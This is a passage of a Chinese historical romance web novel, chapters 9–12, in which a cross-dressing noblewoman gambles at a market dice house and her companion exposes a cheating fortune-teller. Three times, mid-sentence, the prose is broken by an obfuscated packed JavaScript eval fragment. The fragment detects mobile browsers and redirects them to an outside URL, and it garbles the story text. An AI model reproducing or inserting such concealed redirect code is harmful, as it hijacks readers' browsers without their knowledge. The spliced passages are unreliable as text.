以他的细心,必然早已注意到这块玉佩了,若是与他有关,他怎能隐忍到现在才问。想来是自己多心了,只是玉佩凑巧掉下他才多问了一句罢了。 目前看来,他待人接物无不周全,真诚却又让人觉得有些距离感,只可远观不敢亲近。只是,她如此这般隐藏身份费尽心机地靠近他,对他是不是不够公平? 到得明府门口,明铮本要亲自相送,被归梦谢绝了。紫芽那丫头一定在门口等着自己呢,她可不想多生事端,以免暴露身份。 出门左右一张望,果然看到不远处的树下拴着两匹马,紫芽正斜倚着树干昏昏欲睡。 这丫头,等得可够久的。归梦内心涌起一阵怜意,她为了自己的事奔走不少,回去必得好好犒赏她。 日子如流水般过去。自从正式结识了明铮,归梦的生活好像脱出了樊笼,返归了自然,找到了新的寄托与窗口,她时不时去找明铮下棋、饮酒,谈天说地,过得充实且快乐。 她又新裁制了大量的、各种材质、款式的男装,多为青、白两色。每次出门都轻松得不用敷脂粉,不用梳繁复的发髻,只佩简单的玉佩、香囊。活在自己制定的身份里,随性而为,与喜欢的人在一起,仿佛在过另一种新的人生。 要说烦恼也是有的。就是她与明铮相交越深,越担心身份暴露的后果。 每逢宫廷雅集聚会,她便提心吊胆,生怕与明铮打了照面。她曾旁敲侧击地问过明铮,得知他向来不喜这种场合,甚少出席,慢慢也就放下心来。 自然,西苑她也基本不去了。谢氏还有些意外,向来任性的女儿怎地转了性,把她的话听进去了。 暖风酥软,杨柳青青,明府门前树下的归梦有些百无聊赖,折了枝柳条在手。 她已等了一盏茶的功夫了。 近日出门的次数多了,需得编些理由。穿着男装溜出门去,只能偶尔为之。今日她是借口买香粉出的门,在马车上换了男装,让紫芽跟着车夫去了。 她算着明铮这个时辰应当还家了,便在门口等着。 正午,日头渐渐烈了起来。即使是在树荫下也热得出了些许汗。 她生性不拘小节,也不管尘泥会不会弄脏了衣袍,背靠着那棵半人粗的柳树便坐了下来。 阳光刺眼,她索性乘着凉,闭目养神。 不知过了多久,忽听左近有环佩响动之声。 归梦睁开眼,正欲起身,却听到有娇柔的年轻女声在她头顶响起:“隔三差五在此守株待兔,却连明公子的正脸也难见一次…” 旁边另有一女娘脆声附和道:“就是说呢!唉,这鬼日头,走了这几步路便出汗了,我的妆容都花了呢……”原来是两个女娘在大树的正面底下谈天,因有粗壮的树干遮蔽,丝毫没注意在树背面坐着的归梦。 这明府附近本坐落着不少民居,不时也有路人经过。 归梦几次来寻明铮,也常常撞见春心萌动的年轻女娘在府门口探头探脑,想趁着明铮回府,远远看他一眼,抑或是寻找机会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599167|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭讪。 从谈话内容听来,这两个女娘也是这般。 归梦不禁莞尔。 她屏气凝神坐着,又听二女闲叙几句。 忽听那娇柔声音的女娘道:“等了也是白等,那明公子压根不近女色,从不把女子看在眼中…倒是有人常看见他与一个白净秀气的小公子结伴同行,很是亲密的样子……” 归梦听得眉头蹙起,心道:她说得莫不是我? 这一个月里,她倒有半个月的时间都在与明铮相会,想来应该也没有旁人了。 她悄悄偏过头,眼角余光瞥到一抹樱粉色裙裾和一抹湖蓝色裙裾。 只听那脆声粉衣女娘又道:“你说,这明公子会不会…有……那癖好?”她忽地压低声音,凑近蓝衣女娘身边耳语了一句。 她声音虽低,却还是被近在咫尺的归梦听得分明:断袖之癖。 断袖?!她愕然一震。 这也难怪,这段日子她隐瞒身份女扮男装,时常出入明宅,两人的亲密必然是被邻里瞧见了。明铮弱冠之年还尚未婚配,又与她这样的“白净俊秀的小公子”过从甚密,无怪乎会被人猜测有断袖之癖。 她颇觉好笑,但转念一想,又起了疑心。 明铮府邸里除了日常随侍公务的侍从,似乎只有一个厨娘、一个粗使丫头,另有一名近身服侍他父亲的侍女。他身边别说通房,连个近身女使都没有,却与自己甚是投缘,莫非他…… 归梦拼命想打消这个让她害怕的念头,却又忍不住地胡思乱想。 纵然是他曾经有过娶妻经历也不排除这种可能,也许当初他的新娘就是因为这个逃婚的呢?何况贵族之中多的是既娶妻生子,又好男风之人。 她下定决心,今日见到明铮,必要弄清楚他的喜好不可。 正想着,便听见有辘辘的车辙声近了,明铮所乘的牛车已缓缓到了明宅门口。 树下等待的那两名女娘见状也理了理仪容提起裙摆快步朝牛车拥了过去。 归梦起身,掸了掸衣袍,从树后走出。若是此时出现,岂不坐实了她们的猜测?她站在二女后方的树下,一时有些踌躇。 明铮已下了牛车,一眼便望见了她。他冲她所在的方向微笑点了点头,示意她稍待。 那两名女娘还当明铮是朝她们微笑,激动得不能自持,打定主意要再等下去,再看明大人一眼。 过得片刻,他已换了常服出门来。他沐着二女期期艾艾的目光,径直经过她们朝归梦走来。 归梦立时有些尴尬。她们异样鄙夷的眼光像针一样,扎得她浑身不自在。 “等久了吧?殿下留我磋商一些事,是以耽搁了。”他不无歉意:“今日孟兄但有所命,我无不奉陪。” 归梦不及回答,拉起明铮的手就走。直到走出很远,逃离了那样的目光,她才舒了口气。 她忽然发觉自己还牵着明铮的手,羞赧得赶紧松开了。 明铮只笑笑,也不多问,只道:“前面便是小市了。可要去逛逛吗?” 归梦心知两人若是并肩出游,又必然引起侧目。这一阵子她多是到明铮家中用饭、闲谈。与明铮一道逛街、游玩,对她确是个极大的诱惑。 何况,这城西的小市她并未来过,最终内心的欲望还是压倒了顾忌。 二人一入市集,便如鹤立鸡群,外貌服饰无不扎眼,与这混乱嘈杂的小市集显得格格不入。 熙来攘往中无数道目光不约而同地投向他俩。 归梦侧过头瞟了眼明铮,他神态自若,大概早就习惯了行人的注目礼了,毕竟他走到哪里都是人群的焦点。 可与他在一处,她却会莫名地紧张起来。明铮的魅力既让她感到压力,又极大地满足了她的虚荣心。 所谓珠玉在侧,便是如此吧。 艳阳下一面土黄泛黑的幌子在风中飘荡。 “去那里好不好?”归梦满眼期待地看着明铮。 明铮顺着归梦的手指望去,随风轻扬的幌子上一个赫然醒目的“赌”字。 10. 卜算子 “赌坊?”他俊秀的眉毛轻蹙,微见踌躇,可下一刻便身不由己地被归梦拉进了路边的赌坊。 归梦自小生在富贵乡,见的都是金堆玉砌,从未来过这市井之中下九流的赌坊。刚一进入,便被那震天的吆喝声与熏人的异味给惊到了。 惊归惊,也抵不了她贪玩的天性。 明明是白日,可这赌坊中光线昏暗,门窗紧闭,只零星点了几盏油灯。 她努力适应着这里的环境,问明铮:“你以前可曾来过这种地方?” 明铮笑着摇摇头。 归梦虽然也是第一次来,但是不知为什么,与明铮在一起,她总觉得十分安心,似乎普天之下没有不可去的地方。于是大着胆子挤开人群,大大咧咧地在一桌坐了下来。 二人衣饰不俗,气质不凡,赌坊中众人都颇觉稀奇。赌坊老板认定肥羊来了,两眼放光地迎了上来,不少赌客也好奇来凑热闹。 “这位小公子,您坐庄吗?”一旁的赌坊伙计问道。 “坐庄是什么意思?”归梦对市井中博戏的规矩一无所知。 此言一出,伙计固然是一愣,周围围观的赌客们更是一阵哄笑:“连坐庄什么意思都不懂,还来博戏……” 明铮低声解答道:“坐庄便是做庄家,庄家主持赌局,下注多,赢面和利益也更多一些。” “哦……”归梦了然,忽又笑道:“你不是以前没来过吗?怎会懂得这个?” 明铮微微一笑,并未回答。 赌坊伙计推了副五木到归梦面前。归梦一看,不觉笑了。 原来市井之中也流行以樗蒲为戏。只是把秤盘去了,更为简易。 这樗蒲在宫廷之中甚是风靡,归梦也有一副戏具,曾在闺阁内与紫芽她们戏耍过。 归梦从荷包中掏出一片黄灿灿的金叶子放在桌上,笑道:“那我就坐庄吧。” 一众赌客被这金叶子晃得眼花缭乱,立时争先恐后地上桌。 不过片刻,一张四方桌的另外三面均已经坐满了人。 那伙计看着归梦道:“诸位轮流投掷五木,点数最大者胜,点数相同的情况下,庄家胜。” 场内留在桌下的众赌客察言观色,议论纷纷,一时间人声鼎沸。 大部分的人在另三家下了注,并无一人在归梦这里下注。显然都看不起这个文秀稚气的少年公子,认定她必然大败亏输。 忽听人群中有人喊道:“贾老三,你兜里还有几个钱,也敢上这赌桌?小心一会儿输得裤子都没了!” 坐在归梦右手面那个被叫做“贾老三”的乃是一个瘦弱的中年落魄寒士,一身布袍破旧,尖脸上一双圆眼精光溜溜。他被人讥刺取笑却是神情自若,抚着唇上两撇短髭,淡淡道:“你若是怕输,勿要押我这门便是了。” 他虽然形容潦倒,面上却是自信超然,明明穿着破衣烂衫,气势却大得很。 归梦坐庄,先行投掷。她随手一撒,手气不错,竟掷得14点的雉彩,乃是第二等的贵彩。 围观赌客们忍不住喝彩一声,有在别家下注的则唏嘘不已,紧张起来。 归梦浅浅一笑。 轮到那位贾老三投掷了。只见他端然而坐,双手拢起五木放入竹筒之中,口中念念有词如求神拜佛一般,他一边念着一边用力摇晃木筒。 这贾老三衣衫褴褛,看起来穷得叮当响,然而他干瘦细弱的手上,竟戴了一枚灿然生辉的宝石指环。指环上的宝石在这阴暗拥挤的赌坊厅堂中竟是流光溢彩,分外闪耀。 这华丽指环与贾老三的外表极不相称,每当他晃动木筒时,众人的目光都忍不住地都被这精致闪耀的指环吸引了去。 有好事者忍不住嗤笑道:“贾老三,你这指环从哪坑来的?是不是打算拿它翻本啊?” “你要掷就掷,一股子运气不来,再晃几百下也是不济!” “就是就是!” 归梦听着围观赌客的恶言恶语,也猜了个大概。想来这贾老三必是这里的常客,嗜赌成性,弄得如此落魄也死性不改,此次不知从哪弄来本钱,又想搏一把。 众人正耻笑间,贾老三已经掷了出来。那伙计上前细细辨认,惊讶得舌头都打了结:“卢、卢!” 樗蒲博戏者,最梦寐以求的莫不过是最上等的贵彩——16点的卢。 有些人或许终其一生都掷不出几次卢彩。 众人均是瞠目结舌,方才嘲弄贾老三的人也一声不吭了。 这一局胜负已定了,另外两家还未投掷,气势已然颓丧到极点。他们心知再怎么掷也不可能越过卢彩去。要掷出卢彩,也是千难万难的。 于是那二人胡乱掷了一下,果然手气极差,都是下等的杂彩。 贾老三这一局赢得甚是扬眉吐气。 他嘴角噙着得意的笑,顺手将桌上的赌资全体收入囊中,斜睨着扫过方才嗤笑他的赌客们,笑道:“鄙人不才,小胜一局。见笑见笑,让诸位失望了。” 归梦见贾老三掷出卢彩压过她的雉彩,颇不乐意,当下不耐烦地催促:“啰嗦什么,还赌吗?快些开始了!”她赌兴大炽,说着又从荷包中掏出两片金叶子丢在桌上。 一旁的明铮叹了口气。 接下来几局,归梦只掷出了下等的杂彩。另两家赌客手气也是不佳,而那贾老三则神奇般地再次掷出了卢彩与雉彩,连赢几局。 他赢来的钱已把腰间塞得鼓鼓囊囊了,自然是红光满面,乐得合不拢嘴。 那两家赌客连着割肉也是受不住了,交头一合计,今日运气极背,不宜再赌,于是索性下了赌桌。那些把赌注押在这两家身上的赌客自然也是赔得血本无归,咒骂不已。 归梦看着空瘪瘪的荷包,撅嘴不乐。 明铮低声道:“走吧?” 归梦气咻咻道:“不,我不服,怎地他的手气就那么好!你借我些钱,我一定要赢!” 明铮看她争强好胜的模样,无奈一笑,摘下腰间钱袋放在她手中:“借你自然可以,但一会儿我示意你掷的时候你再掷。” 归梦睁大眼睛,奇道:“你也会樗蒲?” “不会,只是方才看你玩了这么久,摸到一点门道。” 归梦点点头,见场上只剩那贾老三了。她叫道:“喂,再来一局,本公子要把你方才从我这赢走的,全赢回来!” 贾老三伸手捋着唇上两抹短髭,笑嘻嘻道:“公子想全赢回去,那要看你有没有这个本事了。只要公子还有赌资,鄙人自然奉陪。” 四周的赌客见这俊秀贵公子还要再与贾老三赌斗,脚下自然是生了根似的不肯离去,要把这场热闹看到底。 赌场老板也怂恿着众人下注。这贾老三虽然赌品和口碑不佳,但是今日似是鸿运当头。是以众赌客也不愿跟钱过不去,纷纷转向把赌注押在他身上,盼着把之前亏输的连本带利再赢回来。 几乎无人看好归梦,更无人盼着她赢。 归梦无惧赌客们投来的提前幸灾乐祸的目光,站起身,一股脑把钱袋里的金银悉数倒出,豪气道:“还是我坐庄。” 她有些紧张,索性就站着投掷,深吸了口气。 五木在木筒中被摇晃得噼啪作响。忽地,她感觉到明铮的手在她背上轻轻一划,她急忙将手松开,五木四散在桌上。 伙计在旁,拾起五木仔细查看,口中数着:“三黑二犊,16点,卢、卢彩!”围观的赌客不敢置信,炸开了锅,捶胸顿足,哀呼不停。 贾老三倏然变色:“怎么可能?!” 归梦也有些讶异。不知明铮使了什么办法,竟能让她掷出卢彩。她很快反应过来,小巧的下巴一扬,朝贾老三得意一笑:“承让承让!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599168|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卢彩乃是点数最大,最上等的贵彩。归梦是庄家,即使是贾老三也同样掷出卢彩,同等点数的情况下,也是庄家获胜。 归梦将赢回的钱拢回钱袋,心情大畅,对明铮甜甜一笑,二人就准备离开。 “这位公子!”贾老三唤住归梦:“有道是‘时来运转’,你的好运才刚来,就这般走了,不多玩两把,岂不可惜?”他颇为热切地劝道。 归梦犹豫了,她看着明铮,有些跃跃欲试。 才赢了一局就走,确实不过瘾。 她又坐了下来,伸手拽了拽明铮,示意他再帮自己赢几局。明铮拗不过她,只好坐了下来。 贾老三一双圆眼骨碌碌一转,笑道:“鄙人提议,咱们换个玩法。既然只有你我二人,也不必设庄家了。咱们轮流投掷三次,合计点数最高者即为胜,如何?” 归梦想了想,觉得并无不妥,当下点点头。 贾老三又道:“有言在先,输者需将所下赌注连同身上所有财物都给赢家……” 归梦笑道:“方才那局你已将赢来的钱输掉了,你现在身上还有什么值钱的东西吗?” 贾老三似乎早猜到她有此一问。他不慌不忙,从容举起枯瘦的左手,扬起中指上那枚华贵的宝石指环:“这是狮子国产的金刚石指环,价值连城。公子若赢了,鄙人双手奉上。” 归梦见这指环上的那颗透明石头确实璀璨夺目,她生平虽见过不少珍宝,却是第一次见到如此通透晶亮的宝石。 本来,她只是争强好胜,以赌斗为乐。若是顺便赢得一枚指环,那也不错。 说话间贾老三已抢先把装有五木的木筒握在手里,笑道:“方才是公子赢了,那鄙人便斗胆占个先。”说着双手齐摇,“唰唰唰”迅速几下,五木已撒在桌上。 他眼明心亮,出手便是最上等的卢彩。 归梦不愿落后,拢起五木便掷。她得了明铮的指点自然是把卢彩手到擒来。 围观的赌客们看得目瞪口呆。平日这卢彩乃是最难掷得的,怎么今日在这两人手下,竟似是最下等的杂彩似的信手拈来。 转眼两局已过,贾老三和归梦均是两次卢彩,不分上下。第三局,贾老三先手。 他似乎格外郑重,慢慢悠悠地摇晃起木筒来,手指上的那枚宝石指环也不断被屋内的烛光折射泛出光芒,晃得人眼花缭乱。 众人看他摇了许久,都有些不耐了,有人耐不住议论起来:“磨蹭什么,快些开了!” 那贾老三微微一笑,手一松,五木掉落。又是卢彩。 围观赌客惊叹声如沸。 归梦叹了口气,这算什么?一会儿若她也掷得卢彩,那岂不又是平手。这赌局简直是没完没了了…… 她举起木筒,一阵摇晃,却迟迟不见明铮在她背后给信号。她忍不住回过头去看他。 明铮低着头,像是在思索什么,浑然忘了归梦在等他给出指令。 归梦一阵心焦,又无法明着求助明铮。 她摇了许久,手臂酸滞,不经意间把手一松,五木顿时滑落。 只是下等的杂彩。 归梦气得直跺脚,这下是连本带利全输干净了。方才赢回的钱还没捂热就又成别人的了。 伙计上前仔细辨认,宣布:“是杂彩。卢卢卢对卢卢杂,贾老三胜了。” 贾老三毫不意外,像是早知自己会获胜似的。他得意地笑着朝归梦拱拱手:“这位公子,承让承让!咱们说话算话,您身上还有什么物事,都请拿出来,归鄙人所有了。” 归梦又失望又气恼,她扭头有些埋怨地看着明铮。他是怎么了,怎么关键时刻发起呆来了? “等一等。”明铮唤住将要散去的众人,也拦着归梦取下身上的环佩。 他笑着走到赌桌前:“在下有一事不明,还请这位贾兄指点。” 11. 卜算子(二) 明铮复又指着桌上方才归梦投掷的五木对赌场伙计道:“烦请你再查看一下,这五木可有什么不妥?” 那伙计又拈起看了看,摇摇头:“没有啊,并无不妥。” 明铮拿起其中两根木,指给那伙计看:“这里呢?” 伙计定睛仔细一瞧,惊道:“怎、怎会这样?这副樗蒲是近来新制的,何况今日赌斗前,小人才检查过,绝无可能!” 归梦凑近一看,原来这两根木上各有一枚红漆点脱落,‘犊’就变成了‘雉’。这样一来,就再也无法掷出16点的卢彩了。最多也只能掷出14点的雉彩。 明铮微笑道:“这副五木在赌斗前确实是好的,只是在赌斗中被人动了手脚。” 归梦略一思忖,指着贾老三叫道:“是你动的手脚对不对?明明你方才你还用这副五木掷出过卢彩。怎地到我这就不行了?” 贾老三目光游移,满不在乎地笑道:“明明是公子你自己本领不济,掷不出卢彩,怎地怪罪到鄙人身上?唉,这好好的一副五木到了你手里,点数就少了两点。此乃‘时移势易’,风水轮流转罢了……”说着一阵嗟叹。 此人信口开河,油嘴滑舌,好赖话尽由其说了,真真是厚颜无耻。 归梦火冒三丈,怒道:“明明就是你,你还不承认!你……” 明铮忽道:“贾兄的意思是,我们冤枉了你?” 贾老三颔首道:“不错。愿赌服输,二位若是不愿遵从赌约将全身的财物交出,大可明说。鄙人也不是不通情达理之人……” 明铮截口道:“说得有理。看来是非曲直只能让这副五木告诉我们了。”他说着举起手中的五木:“五木啊五木,你说说,究竟你身上这红漆是自行脱落呢还是有人动了手脚?” 贾老三笑道:“这位公子莫不是与我等顽笑,这木头怎会说话呢?” 明铮一步步走到贾老三身旁,双眸中闪着自信的笑意:“说的是,木头不能说话。也许宝石却能说话呢!”他说着一把抓住起贾老三的左手。 贾老三左手中指上那枚指环竟然不见了! 明铮笑道:“贾兄倒藏得快,是生怕我们赢了赌斗,要你交出指环吗?” 归梦见贾老三右手紧握成拳,显是藏了什么。她按捺不住,上前掰开他的手掌,掌心赫然便是那枚金刚石指环! 贾老三一阵心虚,强撑道:“我不过是嫌这指环上的石头太沉,摘下来松快松快罢了……” 明铮取过那枚指环,借着烛光光亮给诸人细看。这指环上嵌着的金刚石的顶端果然沾染了些许红漆。 那伙计迷惑道:“他是怎么做到的?” 明铮解释道:“这位贾兄心思细腻。他早就定好了要磨掉五木上两点的计策。每当这五木到他手里时,他就假装不经意地用指环上坚硬无比的金刚石悄悄磨去一些漆。待他掷了三次卢彩后,恰好也将这两点磨去了。” 归梦回想了下,赞同道:“不错,难怪他每次摇晃木筒都要摇许久,原来为得是消耗众人的耐心。” 明铮放下贾老三的手,微笑道:“贾兄可还有什么要辩解的吗?” 那贾老三面上一阵红一阵白。 归梦冷笑道:“你这般使诈也太阴险了!差点让我把身上环佩都摘了与你!你……” 这贾老三本就在赌场口碑不佳,平日看不起他者有,今日妒忌他连连赢钱者也有,因着他押错注输钱者更是不少。此刻他出千被抓了现行,立时墙倒众人推。 “按赌坊的规矩办!必须把他出千的爪子剁了!” “对,不能放过他……” 说话间已有赌客与赌场伙计上前揪住贾老三的衣襟,把他双手扭住。那贾老三面如死灰,嘴上连连告饶。 归梦听闻赌坊要将贾老三的手剁去,也觉太过残忍。但她对这贾老三又属实没有好感,正犹豫着,忽听明铮朗声道:“诸位,请听在下一言。纵然是出千,也不可动用私刑触犯律法。不如念他是初犯,饶他一次吧。” 那赌坊伙计叹道:“这位公子,你不晓得。这贾老三是我们赌坊门口摆摊算卦的,常来这里赌,每每赢了钱就挥霍无度,还嗜酒服药,把自己弄成这副德性。后来开始经常输钱,输了就赊账。这附近的赌坊都被他赊了遍,今儿若不是见他戴了这指环……” 明铮默默听完,温声道:“既是如此,他还欠贵坊多少钱,我替他还了。” 归梦瞪大眼睛,拉了拉明铮的衣袖,不解道:“你为何要替他还?” 明铮不语,取过钱袋,也不细数,便将其中金银尽数交予那伙计:“够了吗?” “够了,够了!”伙计双手接过。 贾老三的双手被人扭在身后,疼得呲牙咧嘴。他见状大声道:“还不放了我?” 赌坊老板斥骂道:“你先前的帐是平了,今日出老千的帐还没算呢!”他说着拈起桌上那枚指环,笑道:“就拿这枚指环来抵吧!” “慢着。”明铮道:“老板,这贾老三既然使诈,那方才的赌局便该算我们赢了才是。依照赌约,他桌上的所有赌资与他手上这枚指环,都该归我们所有。对吗?” “这……”赌坊老板说不出话来,无力辩驳。他见明铮笑着朝他伸出手掌,自有一股不怒自威的气势,又见明铮风姿峻拔,如谪仙人一般,出手更是阔气,看着大有来头,便不由自主地老实把指环放到了明铮手掌里。 明铮又含笑望向贾老三身后的两名伙计。 那两名伙计见老板也不吭气了,只好松开了贾老三。 “这位贾兄今日赢来的钱想来足够抵了他出千之过了。若老板还觉不够,尽可找在下索要。”明铮淡淡道。 赌坊老板极为圆滑,见好就收,忙不迭地表示够了,又客客气气地送了他二人与贾老三离去。 三人一前一后出了赌坊。归梦使劲呼吸了一下外面的空气,大感畅快,随即又叹了口气,朝明铮埋怨道:“明兄你倒是好心,我忙活了半天,最后等于没输没赢。” 明铮笑道:“自古十赌九输,进了赌坊能保住本钱已是好事了,不是吗?” “小子,你说得轻巧,拜你所赐,我一番心血全白费了,血本无归啊!”贾老三跟在后头,一边揉着方才被拧疼的胳膊,一边说道。 归梦不满道:“你这人真是不识好歹!方才若不是我们救了你,你现在恐怕连手都没了呢!” 贾老三振振有词:“乳臭未干的黄毛小儿,若不是你们搅了我的好事,我又何须出千。若不是你们揭穿我,我又何须你们救?”他不理归梦,看着明铮道:“小子,我问你。你的奇门之术从何处学得的?” 明铮答道:“晚辈不明前辈所指。” 贾老三冷笑道:“你还装!”他指着归梦道:“这小子本来掷得稀烂,为何忽然神乎其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599169|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 技,次次都得卢彩?若不是有人在他背后相帮,这绝无可能!” 他上下打量着明铮:“看你的年纪,最多不过弱冠之年,竟能有如此造诣,天资着实不错。你师父定是对你倾囊相授了?” 明铮恭敬答道:“晚辈只有幼年时教我四书六艺的几名师傅。” 贾老三嘿声笑道:“小子,我不会看错的,你不承认也没用。告诉你吧,我可是你师叔!快些把指环还我。” 明铮微笑道:“自然可以,只是还望前辈日后慎用术数。窥探天机过度,必遭反噬。” 贾老三道:“行了,轮得到你教训我?这其中的利害我比你清楚!”说着,大剌剌地摊开手索取指环。 明铮笑笑,不再多说,双手将指环递来,不料刺斜里伸出一只素白的纤手半道把那指环抢了过去。 “这是我们赢来的。你救了他,他还倒打一耙,还冒充什么师叔,我才不给他呢!”归梦气鼓鼓地瞪了贾老三一眼。 明铮还未说话,那贾老三已叱道:“臭小子,这也不是你赢的,是我这师侄赢来的!” 归梦把指环攥在手里,轻哼一声,撇过头不搭理他,抬脚欲走,却被明铮拉住。 他低头柔声道:“孟兄弟,且还给他吧。你若喜欢这样的指环,回头我定觅一个给你。” 归梦嗔道:“谁稀罕他的破指环!我就是气不过他罢了。偏你爱做好人……” 那贾老三甚会洞察人心,他察言观色,眼见这文秀小公子似乎只是在为他的师侄抱不平,看其的眼神也耐人寻味。于是当下眼珠溜溜一转,计上心来。 他换了副和悦面孔,凑近归梦,神秘道:“这位公子,我观你面若桃花,近日当是红鸾星动,只是……” 他故意把话说了一半,然后目光不断在归梦与明铮之间梭巡,欲言又止的样子。归梦轻啐了一句,又见贾老三的眼神别有深意,不觉有些脸红发烫,心道:难道这相士真有些本事不成,竟看出了我的心事? 她半信半疑道:“你且说说,只是什么?” 贾老三笑而不语,伸手捻了捻唇上的短髭,快走几步,到了他在赌坊边上的卦摊,坐下提笔在纸上写了几个字。 归梦被吊住了胃口,追上前去,正要看他写了什么,他却已将那纸条叠了起来。 归梦啐道:“我看你只是卖关子诓我,好让我还你指环罢了!” “是吗?”贾老三微微一笑:“那我可要和我那师侄说道说道了,他身边可有一位女……”眼看着明铮走近过来,归梦急忙把那指环丢在他的摊上:“闭嘴!” 贾老三飞快地将指环收入怀里,笑嘻嘻地伸手递过纸条,叮嘱道:“虽是正缘,但好事多磨,恐有波折。解救之法,就在其中。” 归梦见他说的玄乎,半信半疑地接了过去。虽然很想此刻就打开来看,但顾及到明铮就在左近,她只好先收在了荷包中。 说来好笑,她也曾从郭师父那习得一些相面之术,也算是半个行家了,居然会信这嗜赌又使诈的相士的话? 归梦不待明铮询问,便拉着他走开了。 两人身后传来贾老三的声音:“塞翁失马,焉知非福。好师侄,后会有期。” “方士之言,不必尽信。”明铮像是知道她心里在想什么似的,适时地出言安慰。 归梦笑道:“说的是。我肚子饿极了,咱们快去用饭吧。” 12. 少年游 小市集中大多是幕天席地的摊点。有些摊子甚至连张桌子都没有。二人最终在市集边上一个酒肆中坐了下来。 与明铮在一处,走到哪都是人群的焦点。 归梦受不了在用饭之时还被身旁的路人看来看去,于是拉着明铮到酒肆的包间坐。 饭菜送上,归梦一阵狼吞虎咽。在赌坊消磨了不少时辰,她已是饿得前胸贴着后背了。 明铮看她吃得匆忙,不禁笑道:“瞧你饿成这样,方才还流连那赌坊不肯离去。” 归梦把口中的食物咽下,呷了一口酒,皱了皱眉,小酒肆的酒有些劣。 “我从没去过那种地方,好玩嘛。”她举杯朝明铮嫣然一笑。 “你啊,天大地大不如你的玩兴最大。”明铮无奈叹道,也仰首将杯中酒饮尽。 归梦最喜看明铮拿她没办法的无奈表情,口上似是批评,可行为无不是处处包容忍让。 “难得,这市井中的小酒肆居然还设了包间。”归梦感慨。虽然只是两道布帘,但是至少与大厅众人隔开了,也是好的。 此时已过了正午用饭最热闹的时辰,酒肆之中客人并不多。除了他们,只有大厅零散坐着几桌客人。 “是了!”归梦忽地想起来,问道:“方才你究竟为何要救那贾老三?给他一些教训岂不好?”她对这贾老三出千胜了她的事,始终耿耿于怀。 明铮道:“他那用来测算五木投掷的术数确是与我同出一门。” 归梦奇道:“莫非……他真是你师叔?那你方才为何不认。” 明铮苦笑道:“只因教我这等术数之人,并未收我为徒。” 归梦愈发好奇:“他是什么人?” 明铮举杯饮了口酒,回忆道:“那是幼年在高平的时候……有一日大雪天,我晨起听到后院门口有响动,开了门发现是一名醉汉倒在那里。他醉得不省人事,倚着门睡在雪地里。我想若是放任他躺着必会冻伤肺腑,便让下人把他抬到厨房喂些热汤给他。他醒来后便自行离去了。” “后来呢?” “又过了几日,我在书房读书,听到窗外有笑声,正是那醉汉。他说缺钱买酒,问我能否借一些给他。我虽觉得他荒唐,仍是把身上的钱尽数给了他。他赞我心性良善,说要教我一些厉害的学问。我看他玩世不恭的样子,本也不信他能教我什么。他看到我桌案上摆着《战国策》,便随意翻开一篇侃侃而谈。没想到他对国政、兵法都有独到的见解,并且精通天文地理、奇门五行。他教我一门,我便学一门。他夸我天资聪颖学得极快,很是高兴。于是每日都趁家人不备来我房中,教我一个时辰,如此大约教了我半年。他从未开口让我拜他为师,我便也没有提起。 一日,他忽然问我,是否愿意随他云游四海去修行。我摇摇头,我说‘我自小勤学苦练为的便是建立功业,收复北方的山河故土,岂能去做方外之人。’他大为失望,说我被儒学腐蚀了思想,如今官场科举黑暗,我出身寒门绝无前途。何况朝廷积弊已深,凭我微薄之力乃是蚍蜉撼树。名利富贵皆是过眼云烟,不若修个逍遥道,羽化登仙。他苦苦劝我莫要浪费了自己的天赋,我却心意坚定地回答他‘士不可以不弘毅,任重而道远。’我并非贪慕荣华功名,只是此生志向是要如鲁仲连、张子房、范蠡那般,安邦定国,再功成身退。他气得拂袖而去,临走前说道不同不相为谋,他与我绝非师徒。倘若再见,也不许我唤他师父,只装作不认识罢了。” 明铮一口气说了这好些话,又斟满了一杯酒饮了下去。 归梦听着也有些唏嘘:“这人听起来像是个世外高人,脾气倒是有些古怪。你不愿随他修道,他便不认你做徒弟。依我看,不要这种师父也罢。万一他日后又勉强你做别的事呢?” 明铮淡淡一笑:“无论他认不认我做徒弟,授业之恩我总记在心里。他的话也不无道理,以我的出身,在朝中确是举步维艰。但我既已入朝为官,便要为君分忧,为民解难,纵然千难万难,我也不会退缩。” 他的声音虽轻,话语却是掷地有声。 明铮甚少一口气说这么多话,更甚少讲述自己的事。归梦常觉得他身上有许许多多的谜团,让人无法真正靠近看透。可这些谜团又极度地吸引着她。 难得他竟愿意对她说这些,此时此地,她觉得与他贴近了许多。 她心中一颤,忽地涌起万千柔情,欲要说些话来鼓励安慰明铮,又不知该说些什么好。 